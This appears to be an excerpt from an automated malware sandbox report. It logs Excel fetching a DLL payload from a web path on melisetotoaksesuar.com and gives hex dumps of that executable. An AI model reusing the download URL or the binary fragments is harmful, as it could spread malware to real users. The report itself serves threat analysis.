00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f2 06 00 00 00 e0 05 00 00 08 00 00 00 8a 05 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$8ikikikkikkikkikhkikkikkikkikkikRichikPEdv{b" 5T@P .text `.rdataT @@.data7@.pdata@@.rsrc@@.reloc@B
May 23, 2022 09:00:55.042227983 CEST	849	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: H\$Hl$Ht$WH0IHHE3LAQ\$(Ht$ 3HH
May 23, 2022 09:00:55.042257071 CEST	850	IN	Data Raw: 08 b5 23 5c 56 c7 45 0c 16 22 0e 75 c7 45 10 b1 1b 41 77 c7 45 14 59 50 0a 07 c7 45 18 ac 22 ed 77 c7 45 1c 13 56 21 fe c7 45 20 2e a7 1d 61 c7 45 24 22 61 ac 2f c7 45 28 ce 3a 53 39 c7 45 2c 54 10 a1 05 c7 45 30 b0 3c 0d ae c7 45 34 1d b8 6d 03 Data Ascii: #\VE"uEAwEYPE"wEV!E .aE$"a/E(:S9E,TE0<E4mE8_oE<2E@FED;EH7EL-EPqETT] EX,E\oaE`XBEdEh9';ElEp-m9Et,>MExo'E\|#Y7p0"
May 23, 2022 09:00:55.042273998 CEST	851	IN	Data Raw: c7 85 44 02 00 00 13 28 37 ab c7 85 48 02 00 00 70 c2 20 50 c7 85 4c 02 00 00 35 e2 1b ee c7 85 50 02 00 00 82 36 43 10 c7 85 54 02 00 00 26 0c 20 09 c7 85 58 02 00 00 f3 32 7b 09 c7 85 5c 02 00 00 65 50 4f 0a c7 85 60 02 00 00 a3 2f 43 15 c7 85 Data Ascii: D(7Hp PL5P6CT& X2{\ePO`/CdTG0h}WLltuOp:Yt(2Bx<v:\|X-n'qRc;qdf/.GpRh78<-'C
May 23, 2022 09:00:55.307456017 CEST	853	IN	Data Raw: b6 f3 c7 85 5c 04 00 00 ff f7 43 62 c7 85 60 04 00 00 34 32 d2 17 c7 85 64 04 00 00 c8 71 3f 12 c7 85 68 04 00 00 34 e6 25 9a c7 85 6c 04 00 00 d6 aa 6c d8 c7 85 70 04 00 00 73 94 6f 4b c7 85 74 04 00 00 f0 c5 f2 23 c7 85 78 04 00 00 69 96 00 b1 Data Ascii: \Cb`42dq?h4%llpsoKt#xi\|>l\|%c$mH*.\tG5qj'EBgx+av}~#i~e9[+hAX
May 23, 2022 09:00:55.307523966 CEST	854	IN	Data Raw: 64 9c 96 24 c7 85 74 06 00 00 22 b8 61 56 c7 85 78 06 00 00 ef 23 a6 64 c7 85 7c 06 00 00 80 0f ba 3f c7 85 80 06 00 00 e2 4e 09 33 c7 85 84 06 00 00 5d 3d fe 27 c7 85 88 06 00 00 4f 35 5b f1 c7 85 8c 06 00 00 28 d3 11 3b c7 85 90 06 00 00 2e a3 Data Ascii: d$t"aVx#d\|?N3]='O5[(;.,:'U@et%</LIOf^e7Eekg$U9#(=QM1v^yicl
May 23, 2022 09:00:55.312773943 CEST	856	IN	Data Raw: 00 00 6d 1b 4b f8 c7 85 8c 08 00 00 a6 61 81 bf c7 85 90 08 00 00 05 3f 9f 3c c7 85 94 08 00 00 4a 9d 15 28 c7 85 98 08 00 00 aa c1 2b cd c7 85 9c 08 00 00 f8 13 79 d4 c7 85 a0 08 00 00 a5 40 70 07 c7 85 a4 08 00 00 b8 33 7a 8d c7 85 a8 08 00 00 Data Ascii: mKa?<J(+y@p3zmm7jue75@ } z$*JZxng@$P+ong"t4vCwjf
May 23, 2022 09:00:55.312836885 CEST	857	IN	Data Raw: 00 28 d3 1a 37 c7 85 a0 0a 00 00 26 29 a0 c3 c7 85 a4 0a 00 00 2e f7 13 52 c7 85 a8 0a 00 00 ac de 74 70 c7 85 ac 0a 00 00 f5 39 e1 3a c7 85 b0 0a 00 00 7c 65 3a ec c7 85 b4 0a 00 00 0c 4e 4b 0b c7 85 b8 0a 00 00 e1 f0 66 00 c6 85 bc 0a 00 00 a6 Data Ascii: (7&).Rtp9:\|e:NKf3HuHBE3E3FH$A@A0H$L$HHHt3AH-H3LL$ LT$!HH
May 23, 2022 09:00:55.323580027 CEST	858	IN	Data Raw: ec 01 00 48 89 05 9c b3 02 00 e8 77 52 00 00 48 89 05 d8 8f 02 00 e8 3b 42 00 00 85 c0 7d 11 e8 f2 09 00 00 e8 bd 54 00 00 33 c0 e9 5c 01 00 00 e8 21 4c 00 00 85 c0 7c 14 e8 b8 49 00 00 85 c0 7c 0b 33 c9 e8 ad 3b 00 00 85 c0 74 16 e8 c4 48 00 00 Data Ascii: HwRH;B}T3\!L\|I\|3;tHT3)Y;sk\|$XuY=X~DPH=]u<eH`+TH\|$`u={{tD3\|$XFD$
May 23, 2022 09:00:55.323627949 CEST	860	IN	Data Raw: 01 00 00 8b 44 24 30 48 6b c0 10 48 8b 8c 24 88 00 00 00 8b 44 01 04 48 39 44 24 68 0f 82 92 01 00 00 8b 44 24 30 48 6b c0 10 48 8b 8c 24 88 00 00 00 8b 44 01 08 48 39 44 24 68 0f 83 73 01 00 00 8b 44 24 30 48 6b c0 10 48 8b 8c 24 88 00 00 00 83 Data Ascii: D$0HkH$DH9D$hD$0HkH$DH9D$hsD$0HkH$\|XD$0HkH$\|uD$H3D$0HkH$DHD$xHD$pH$HL$8T$pD$H\|$H}3\|$HH$8csmu-H=>t#H>8U
May 23, 2022 09:00:55.323657990 CEST	861	IN	Data Raw: 8b 44 24 30 c7 40 1c 01 00 00 00 48 8b 44 24 30 c7 80 c8 00 00 00 01 00 00 00 48 8b 44 24 30 c6 80 74 01 00 00 43 48 8b 44 24 30 c6 80 f7 01 00 00 43 48 8b 44 24 30 48 8d 0d 94 78 02 00 48 89 88 b8 00 00 00 b9 0d 00 00 00 e8 53 54 00 00 90 48 8b Data Ascii: D$0@HD$0HD$0tCHD$0CHD$0HxHSTHD$0HT/THD$0HL$8HHD$0HuHD$0H"xHHD$0HzT?TH(HHD$0pfHD$8H

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.22	49173	212.98.224.29	443	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Timestamp	kBytes transferred	Direction	Data
2022-05-23 06:59:57 UTC	0	OUT	GET /catalog/controller/account/dqfKI/ HTTP/1.1 Accept: / UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: www.melisetotoaksesuar.com Connection: Keep-Alive
2022-05-23 06:59:57 UTC	0	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 23 May 2022 06:59:57 GMT Content-Type: application/x-msdownload Content-Length: 365056 Connection: close X-Powered-By: PHP/5.6.40 Cache-Control: no-cache, must-revalidate Pragma: no-cache Expires: Mon, 23 May 2022 06:59:57 GMT Content-Disposition: attachment; filename="CPZby9k8xhW2TaPgwsAagxTpGuhIkFrK.dll" Content-Transfer-Encoding: binary Set-Cookie: 628b30ed14255=1653289197; expires=Mon, 23-May-2022 07:00:57 GMT; Max-Age=60; path=/ Last-Modified: Mon, 23 May 2022 06:59:57 GMT X-Cache-Status: MISS X-Powered-By: PleskLin
2022-05-23 06:59:57 UTC	0	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 99 b3 07 38 dd d2 69 6b dd d2 69 6b dd d2 69 6b b2 a4 c3 6b 83 d2 69 6b b2 a4 f7 6b d7 d2 69 6b d4 aa fa 6b da d2 69 6b dd d2 68 6b 84 d2 69 6b b2 a4 c2 6b f6 d2 69 6b b2 a4 f2 6b dc d2 69 6b b2 a4 f3 6b dc d2 69 6b b2 a4 f4 6b dc d2 69 6b 52 69 63 68 dd d2 69 6b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 64 86 06 00 76 7b 87 62 00 00 00 00 00 00 00 00 f0 00 22 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$8ikikikkikkikkikhkikkikkikkikkikRichikPEdv{b"
2022-05-23 06:59:57 UTC	16	IN	Data Raw: 68 44 8b 44 24 60 48 8b 54 24 58 48 8b 4c 24 50 e8 05 ff ff ff 48 89 44 24 38 48 83 7c 24 38 00 75 1c 83 7c 24 30 00 74 15 e8 4c 61 00 00 48 85 c0 74 0b e8 42 61 00 00 8b 4c 24 30 89 08 48 8b 44 24 38 48 83 c4 48 c3 cc cc 4c 89 4c 24 20 44 89 44 24 18 48 89 54 24 10 48 89 4c 24 08 48 83 ec 48 b9 04 00 00 00 e8 de 48 00 00 90 c7 44 24 28 01 00 00 00 8b 44 24 70 89 44 24 20 4c 8b 4c 24 68 44 8b 44 24 60 48 8d 54 24 58 48 8b 4c 24 50 e8 24 00 00 00 48 89 44 24 30 b9 04 00 00 00 e8 05 49 00 00 48 8b 44 24 30 48 83 c4 48 c3 cc cc cc cc cc cc cc cc cc cc cc 4c 89 4c 24 20 44 89 44 24 18 48 89 54 24 10 48 89 4c 24 08 48 81 ec 88 00 00 00 c7 44 24 48 00 00 00 00 48 8b 84 24 98 00 00 00 48 8b 00 48 89 44 24 40 48 83 bc 24 90 00 00 00 00 75 26 44 8b 8c 24 b0 00 00 Data Ascii: hDD$`HT$XHL$PHD$8H\|$8u\|$0tLaHtBaL$0HD$8HHLL$ DD$HT$HL$HHHD$(D$pD$ LL$hDD$`HT$XHL$P$HD$0IHD$0HHLL$ DD$HT$HL$HD$HH$HHD$@H$u&D$
2022-05-23 06:59:57 UTC	32	IN	Data Raw: ff ff ff ff ff 00 00 48 8b 4c 24 28 48 23 c8 48 8b c1 48 89 44 24 28 48 b8 32 a2 df 2d 99 2b 00 00 48 39 44 24 28 75 0f 48 b8 33 a2 df 2d 99 2b 00 00 48 89 44 24 28 48 8b 44 24 28 48 89 05 1f 26 02 00 48 8b 44 24 28 48 f7 d0 48 89 05 18 26 02 00 48 83 c4 48 c3 cc cc cc 48 89 54 24 10 89 4c 24 08 48 83 ec 28 81 7c 24 30 63 73 6d e0 75 12 48 8b 54 24 38 8b 4c 24 30 e8 0b 00 00 00 eb 04 eb 02 33 c0 48 83 c4 28 c3 48 89 54 24 10 89 4c 24 08 48 83 ec 58 e8 de b4 ff ff 48 89 44 24 28 48 83 7c 24 28 00 75 07 33 c0 e9 73 02 00 00 48 8b 44 24 28 48 8b 90 a0 00 00 00 8b 4c 24 60 e8 65 02 00 00 48 89 44 24 20 48 83 7c 24 20 00 75 0b 48 c7 44 24 40 00 00 00 00 eb 0e 48 8b 44 24 20 48 8b 40 08 48 89 44 24 40 48 83 7c 24 40 00 75 07 33 c0 e9 29 02 00 00 48 83 7c 24 40 Data Ascii: HL$(H#HHD$(H2-+H9D$(uH3-+HD$(HD$(H&HD$(HH&HHHT$L$H(\|$0csmuHT$8L$03H(HT$L$HXHD$(H\|$(u3sHD$(HL$`eHD$ H\|$ uHD$@HD$ H@HD$@H\|$@u3)H\|$@
2022-05-23 06:59:57 UTC	48	IN	Data Raw: ff ff 48 89 44 24 30 48 8b 4c 24 30 ff 15 e0 56 01 00 48 89 05 a1 1d 02 00 48 8b 05 9a 1d 02 00 48 89 05 8b 1d 02 00 48 83 7c 24 30 00 75 07 b8 18 00 00 00 eb 0e 48 8b 44 24 30 48 c7 00 00 00 00 00 33 c0 48 83 c4 48 c3 cc 48 83 ec 38 c7 44 24 20 00 00 00 00 eb 0a 8b 44 24 20 ff c0 89 44 24 20 48 63 44 24 20 48 83 f8 0a 73 28 48 63 44 24 20 48 8d 0d c1 f3 01 00 48 8b 0c c1 ff 15 6f 56 01 00 48 63 4c 24 20 48 8d 15 ab f3 01 00 48 89 04 ca eb c3 48 83 c4 38 c3 48 83 ec 28 b9 03 00 00 00 e8 22 62 00 00 83 f8 01 74 17 b9 03 00 00 00 e8 13 62 00 00 85 c0 75 1d 83 3d 70 f9 01 00 01 75 14 b9 fc 00 00 00 e8 7c 00 00 00 b9 ff 00 00 00 e8 72 00 00 00 48 83 c4 28 c3 cc cc cc cc cc cc cc cc cc cc cc cc cc 89 4c 24 08 48 83 ec 18 c7 04 24 00 00 00 00 eb 08 8b 04 24 ff Data Ascii: HD$0HL$0VHHHH\|$0uHD$0H3HHH8D$ D$ D$ HcD$ Hs(HcD$ HHoVHcL$ HHH8H("btbu=pu\|rH(L$H$$
2022-05-23 06:59:57 UTC	64	IN	Data Raw: c1 ff 15 63 17 01 00 89 84 24 d0 80 00 00 83 bc 24 d0 80 00 00 02 74 02 eb 6b 48 8d 8c 24 60 10 00 00 e8 13 0c 00 00 48 63 8c 24 10 81 00 00 48 8d 15 24 b5 01 00 48 89 94 24 d8 80 00 00 48 c7 44 24 20 00 00 00 00 4c 8d 8c 24 a4 70 00 00 44 8b c0 48 8d 94 24 60 10 00 00 48 8b 84 24 d8 80 00 00 48 8b 0c c8 ff 15 fe 17 01 00 85 c0 74 05 e9 53 01 00 00 ff 15 9f 16 01 00 83 f8 06 74 05 e9 43 01 00 00 48 c7 84 24 b0 80 00 00 00 00 00 00 48 c7 44 24 20 ff ff ff ff 4c 8d 8c 24 60 10 00 00 41 b8 00 10 00 00 48 8d 94 24 b0 70 00 00 48 8d 8c 24 b0 80 00 00 e8 8d 78 00 00 48 c7 44 24 38 00 00 00 00 c7 44 24 30 7b 02 00 00 48 8d 0d 15 57 01 00 48 89 4c 24 28 48 8d 0d 09 63 01 00 48 89 4c 24 20 4c 8d 0d ed 5c 01 00 41 b8 22 00 00 00 ba 16 00 00 00 8b c8 e8 eb 63 ff ff Data Ascii: c$$tkH$`Hc$H$H$HD$ L$pDH$`H$HtStCH$HD$ L$`AH$pH$xHD$8D$0{HWHL$(HcHL$ L\A"c
2022-05-23 06:59:57 UTC	80	IN	Data Raw: 70 48 39 81 e0 00 00 00 74 73 48 8b 84 24 b0 00 00 00 81 38 4d 4f 43 e0 74 63 48 8b 84 24 b0 00 00 00 81 38 52 43 43 e0 74 53 48 8b 84 24 e8 00 00 00 48 89 44 24 30 8b 84 24 e0 00 00 00 89 44 24 28 48 8b 84 24 d0 00 00 00 48 89 44 24 20 4c 8b 8c 24 c8 00 00 00 4c 8b 84 24 c0 00 00 00 48 8b 94 24 b8 00 00 00 48 8b 8c 24 b0 00 00 00 e8 86 9f ff ff 85 c0 74 05 e9 93 02 00 00 48 8b 84 24 d0 00 00 00 83 78 0c 00 74 02 eb 05 e8 38 85 ff ff 48 8b 84 24 c8 00 00 00 48 89 44 24 30 48 8d 44 24 6c 48 89 44 24 28 48 8d 44 24 68 48 89 44 24 20 44 8b 8c 24 d8 00 00 00 44 8b 84 24 e0 00 00 00 48 8b 94 24 d0 00 00 00 48 8b 8c 24 b8 00 00 00 e8 a2 9f ff ff 48 89 44 24 60 eb 18 8b 44 24 68 ff c0 89 44 24 68 48 8b 44 24 60 48 83 c0 14 48 89 44 24 60 8b 44 24 6c 39 44 24 68 Data Ascii: pH9tsH$8MOCtcH$8RCCtSH$HD$0$D$(H$HD$ L$L$H$H$tH$xt8H$HD$0HD$lHD$(HD$hHD$ D$D$H$H$HD$`D$hD$hHD$`HHD$`D$l9D$h
2022-05-23 06:59:57 UTC	96	IN	Data Raw: 20 4c 8b 8c 24 a8 00 00 00 4c 8b 84 24 98 00 00 00 48 8b 94 24 90 00 00 00 48 8d 0d 5a 4e 00 00 e8 75 f9 ff ff 89 44 24 30 33 c0 48 8b 8c 24 90 00 00 00 48 8b 94 24 98 00 00 00 66 89 44 51 fe 83 7c 24 30 fe 75 2a 48 83 bc 24 a0 00 00 00 ff 75 1f e8 23 21 ff ff 83 38 22 75 0b e8 19 21 ff ff 8b 4c 24 34 89 08 b8 ff ff ff ff e9 00 02 00 00 83 7c 24 30 00 0f 8d 33 01 00 00 33 c0 48 8b 8c 24 90 00 00 00 66 89 01 48 83 bc 24 98 00 00 00 ff 74 6c 48 81 bc 24 98 00 00 00 ff ff ff 7f 74 5e 48 83 bc 24 98 00 00 00 01 76 53 48 8b 84 24 98 00 00 00 48 ff c8 48 39 05 cb 25 01 00 73 0e 48 8b 05 c2 25 01 00 48 89 44 24 58 eb 10 48 8b 84 24 98 00 00 00 48 ff c8 48 89 44 24 58 48 8b 44 24 58 48 d1 e0 48 8b 8c 24 90 00 00 00 48 83 c1 02 4c 8b c0 ba fe 00 00 00 e8 fa a7 fe Data Ascii: L$L$H$HZNuD$03H$H$fDQ\|$0u*H$u#!8"u!L$4\|$033H$fH$tlH$t^H$vSH$HH9%sH%HD$XH$HHD$XHD$XHH$HL
2022-05-23 06:59:57 UTC	112	IN	Data Raw: 40 0f b6 8c 24 30 03 00 00 88 08 48 8b 44 24 40 48 ff c8 48 89 44 24 40 e9 42 ff ff ff 48 8d 84 24 af 02 00 00 48 2b 44 24 40 89 44 24 68 48 8b 44 24 40 48 ff c0 48 89 44 24 40 8b 44 24 50 25 00 02 00 00 85 c0 74 33 83 7c 24 68 00 74 0d 48 8b 44 24 40 0f be 00 83 f8 30 74 1f 48 8b 44 24 40 48 ff c8 48 89 44 24 40 48 8b 44 24 40 c6 00 30 8b 44 24 68 ff c0 89 44 24 68 83 7c 24 6c 00 0f 85 32 02 00 00 8b 44 24 50 83 e0 40 85 c0 74 4e 8b 44 24 50 25 00 01 00 00 85 c0 74 0f c6 44 24 54 2d c7 44 24 5c 01 00 00 00 eb 32 8b 44 24 50 83 e0 01 85 c0 74 0f c6 44 24 54 2b c7 44 24 5c 01 00 00 00 eb 18 8b 44 24 50 83 e0 02 85 c0 74 0d c6 44 24 54 20 c7 44 24 5c 01 00 00 00 8b 44 24 68 8b 4c 24 58 2b c8 8b c1 2b 44 24 5c 89 84 24 48 03 00 00 8b 44 24 50 83 e0 0c 85 c0 Data Ascii: @$0HD$@HHD$@BH$H+D$@D$hHD$@HHD$@D$P%t3\|$htHD$@0tHD$@HHD$@HD$@0D$hD$h\|$l2D$P@tND$P%tD$T-D$\2D$PtD$T+D$\D$PtD$T D$\D$hL$X++D$\$HD$P
2022-05-23 06:59:57 UTC	128	IN	Data Raw: 30 00 75 02 eb 52 e8 9f a1 fe ff 8b 4c 24 30 89 08 e8 64 a1 fe ff c7 00 09 00 00 00 c7 44 24 30 ff ff ff ff 33 c0 85 c0 75 2e 48 8d 05 f9 74 00 00 48 89 44 24 20 45 33 c9 41 b8 45 00 00 00 48 8d 15 64 80 00 00 b9 02 00 00 00 e8 aa a9 fe ff 83 f8 01 75 03 cc 33 c0 8b 4c 24 60 e8 a9 f1 ff ff 8b 44 24 30 48 83 c4 58 c3 89 4c 24 08 48 83 ec 58 48 63 44 24 60 48 83 f8 fe 75 20 e8 28 a1 fe ff c7 00 00 00 00 00 e8 ed a0 fe ff c7 00 09 00 00 00 b8 ff ff ff ff e9 1a 02 00 00 83 7c 24 60 00 7c 16 8b 05 e4 da 00 00 39 44 24 60 73 0a c7 44 24 3c 01 00 00 00 eb 08 c7 44 24 3c 00 00 00 00 8b 44 24 3c 89 44 24 34 83 7c 24 34 00 75 2e 48 8d 05 a2 75 00 00 48 89 44 24 20 45 33 c9 41 b8 2e 00 00 00 48 8d 15 ed 89 00 00 b9 02 00 00 00 e8 03 a9 fe ff 83 f8 01 75 03 cc 33 c0 Data Ascii: 0uRL$0dD$03u.HtHD$ E3AEHdu3L$`D$0HXL$HXHcD$`Hu (\|$`\|9D$`sD$<D$<D$<D$4\|$4u.HuHD$ E3A.Hu3
2022-05-23 06:59:57 UTC	144	IN	Data Raw: 64 00 64 00 5c 00 76 00 63 00 74 00 6f 00 6f 00 6c 00 73 00 5c 00 63 00 72 00 74 00 5f 00 62 00 6c 00 64 00 5c 00 73 00 65 00 6c 00 66 00 5f 00 36 00 34 00 5f 00 61 00 6d 00 64 00 36 00 34 00 5c 00 63 00 72 00 74 00 5c 00 73 00 72 00 63 00 5c 00 77 00 69 00 6e 00 73 00 69 00 67 00 2e 00 63 00 00 00 00 00 00 00 00 00 28 00 22 00 49 00 6e 00 76 00 61 00 6c 00 69 00 64 00 20 00 73 00 69 00 67 00 6e 00 61 00 6c 00 20 00 6f 00 72 00 20 00 65 00 72 00 72 00 6f 00 72 00 22 00 2c 00 20 00 30 00 29 00 00 00 00 00 72 00 61 00 69 00 73 00 65 00 00 00 00 00 00 00 28 00 4c 00 22 00 42 00 75 00 66 00 66 00 65 00 72 00 20 00 69 00 73 00 20 00 74 00 6f 00 6f 00 20 00 73 00 6d 00 61 00 6c 00 6c 00 22 00 20 00 26 00 26 00 20 00 30 00 29 00 00 00 00 00 00 00 42 00 75 00 66 Data Ascii: dd\vctools\crt_bld\self_64_amd64\crt\src\winsig.c("Invalid signal or error", 0)raise(L"Buffer is too small" && 0)Buf
2022-05-23 06:59:57 UTC	160	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 02 00 00 00 d0 95 02 00 00 00 00 00 00 00 00 00 e8 95 02 00 10 96 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 bf 02 00 01 00 00 00 00 00 00 00 ff ff ff ff 00 00 00 00 40 00 00 00 b8 95 02 00 00 00 00 00 00 00 00 00 00 00 00 00 78 bf 02 00 00 00 00 00 00 00 00 00 ff ff ff ff 00 00 00 00 40 00 00 00 38 96 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 50 96 02 00 00 00 00 00 00 00 00 00 10 96 02 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 00 00 00 00 00 00 00 00 70 c3 02 00 88 96 02 00 60 96 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 a0 96 02 00 00 00 00 00 00 00 00 00 b0 96 02 00 00 00 00 00 00 00 00 00 00 00 00 00 70 c3 02 00 00 Data Ascii: P@x@8Pp`p
2022-05-23 06:59:57 UTC	176	IN	Data Raw: 58 a3 16 c1 88 69 a1 76 66 40 6c d4 25 4d 28 18 a0 1b 0e 10 00 a9 a2 3a 0e 24 ca 96 8f f9 39 e3 3a 7c 55 25 2f fb 86 43 0a e9 ed 3e d4 9c df 52 d1 64 64 23 04 34 1d bd 60 71 09 0a 56 65 00 89 75 4f 5e 9a 39 31 4d f6 32 42 70 a4 33 3a 69 10 53 fa 04 6e 4c 78 10 ef 1e 75 5c b4 32 67 05 34 81 66 58 c4 06 43 48 2a e3 04 6d bf 32 7b 55 7f 1e 66 55 20 e0 e3 a7 a9 7a 24 55 7d e0 b7 aa 8c 4e 31 6b 26 5d 89 71 4e e9 9d 25 05 af 17 7d 20 d5 00 23 22 29 a0 a3 00 69 ed 5b d4 35 86 43 35 35 e1 b7 3e 66 ba df 78 ca 63 43 23 b5 94 a0 6a 37 35 79 66 74 0d 5c ad 54 7e 6d 54 25 51 63 eb c2 4c 78 50 bb 2c 99 7d c6 71 72 2a 43 e4 12 42 aa 2a e8 63 e4 76 4c 70 62 e5 9e 71 33 f6 36 10 7d f2 86 26 11 ce aa 8f d6 86 62 43 51 f4 ff 1b 41 07 7d b7 60 9d d6 65 65 e6 3e 00 7d 46 44 Data Ascii: Xivf@l%M(:$9:\|U%/C>Rdd#4`qVeuO^91M2Bp3:iSnLxu\2g4fXCHm2{UfU z$U}N1k&]qN%} #")i[5C55>fxcC#j75yft\T~mT%QcLxP,}qrCB*cvLpbq36}&bCQA}`ee>}FD
2022-05-23 06:59:57 UTC	192	IN	Data Raw: 78 69 01 b1 22 64 64 5f 1c f9 78 97 2f 4b 67 72 60 54 a1 1e 75 54 f1 c9 cd 46 b6 2e 42 10 09 68 f4 07 ad 27 67 52 db 00 aa 65 bc 79 18 55 25 e0 a5 92 c0 3b af 97 12 a1 fa 81 03 84 f0 82 6c d7 04 18 7d f0 12 42 70 2c de 0d 4d 68 3c 33 85 2b e3 04 0e 56 d3 1d 48 05 fd 17 11 49 e1 2a 7c 05 41 b6 39 e3 73 84 26 10 46 91 a3 c6 35 fd 09 40 5b 6c ee 6d 5e 14 a2 d8 40 e1 b9 e9 4d fb aa 83 58 c1 70 69 01 f7 22 64 14 24 b2 96 a7 d1 5f 4b 1a b3 50 d1 99 d1 15 48 05 ff 07 11 41 e1 2a 7c 0d f9 63 5c 59 ab 02 eb 3d b1 1b 41 07 8d 7d 46 64 ea 2b 41 11 a5 61 78 ca ea 5f 4c 30 dd a7 40 99 d5 0c 18 7d b8 32 42 70 6c dc bd 41 9b 18 a8 83 72 e3 cc 0e ee 5a 51 6c 71 fd d7 11 f1 6a 66 58 08 f9 bf f1 2e 47 6b 26 bd 22 7b 45 df 9d 90 64 64 ac 23 41 19 a6 a4 57 39 ac 6f 4c 3c 18 Data Ascii: xi"dd_x/Kgr`TuTF.Bh'gReyU%;l}Bp,Mh<3+VHI\|A9s&F5@[lm^@MXpi"d$_KPHA\|c\Y=A}Fd+Aax_L0@}2BplArZQlqjfX.Gk&"{Edd#AW9oL<
2022-05-23 06:59:57 UTC	208	IN	Data Raw: 66 4f a1 ad 78 69 58 97 6e 64 4f 40 de 2a de 93 13 7a 87 a7 26 3e f0 1f 6d 92 15 5e 66 bf 2f 6c 5f c9 f7 76 d4 28 38 c2 dd a4 8e 6d ee 30 2e fb 51 5a a3 dc 22 68 c7 0b 36 4d 5b 56 48 bd 00 36 8f 6b 8b 08 de 0c 6e d5 19 3e 1b ab 1d 4f 80 56 8d 09 ab 70 89 72 01 41 6a 0d 1d ba 3b ee 3d 95 e2 06 9d b8 d9 5f 65 f6 50 c3 75 e5 1e 98 c7 cf f7 b5 92 7c 7c c0 2b a9 4e b0 2e 7d 68 94 c3 b2 b0 03 71 2c 71 fa 79 ae 1d 43 2b 7e e8 68 c9 5f 75 81 e6 7e bc f7 36 26 7a c6 b0 d1 82 37 64 13 1e 14 43 a3 51 75 5d e4 7a 36 04 dc 88 a5 e6 10 22 ee 4f a1 f6 e0 6e 6b 89 0a 15 0b 22 d3 0d 13 05 b8 32 42 18 af 1a 72 e0 1c 74 63 e4 6c 60 c1 6e 42 1a da 29 26 ff 07 11 41 22 ed 5e 0d fb 23 5c 42 e8 06 75 70 fd 1a 9a 7b be 31 27 5a 69 67 ee 74 7d af 18 36 26 a0 21 40 c7 75 4f 4a b6 Data Ascii: fOxiXndO@*z&>m^f/l_v(8m0.QZ"h6M[VH6kn>OVprAj;=_ePu\|\|+N.}hq,qyC+~h_u~6&z7dCQu]z6"Onk"2Brtcl`nB)&A"^#\Bup{1'Zigt}6&!@uOJ
2022-05-23 06:59:57 UTC	224	IN	Data Raw: 41 e8 1d 9f 58 47 2a 68 c9 5f a9 39 61 5f 35 b1 06 d6 37 49 e5 58 c4 37 84 98 9d 9c bc e3 41 95 7a 7e b4 35 fb 20 a3 d2 b2 96 21 fb 51 92 d6 cf 5c e9 c1 2b f6 61 eb 1b 8f de 49 ce 89 e7 35 e3 ae ea a8 49 97 6e bc 79 aa 20 2a ed 17 82 9b d4 ce 66 7c e3 4e a7 b2 41 fb 32 ab eb 26 90 ae b9 76 5f e4 42 e6 c0 ab 4a e0 e6 10 f2 1d 83 72 b2 ac 6e b3 27 50 13 6b ab 33 93 39 cc 44 ad 6c 8e 5d bb b8 0c 83 53 aa 1a f1 3a 65 e7 45 9d 14 bb d9 e0 b8 35 b0 0f b1 5a c4 3f b0 0d 6f 32 45 e9 79 a1 a8 84 1c ff ed 8c 67 a1 2e ee f6 bb cd 57 b0 26 fc e9 75 99 8e 3d 4d 5f 8f 79 86 47 d0 1a 40 a5 12 b2 26 93 2a 83 ee 6f a3 d8 31 66 5a d0 19 fe 73 60 4e d9 e1 23 97 cc 36 43 20 e1 26 a0 eb 70 52 17 ee 72 fe b5 21 40 2b ec 20 f6 f3 60 71 01 e0 6e b3 89 0a 15 5b 65 e9 0d 7b 2b b8 Data Ascii: AXGh_9a_57IX7Az~5 !Q\+aI5Iny f\|NA2&v_BJrn'Pk39Dl]S:eE5Z?o2Eyg.W&u=M_yG@&*o1fZs`N#6C &pRr!@+ `qn[e{+
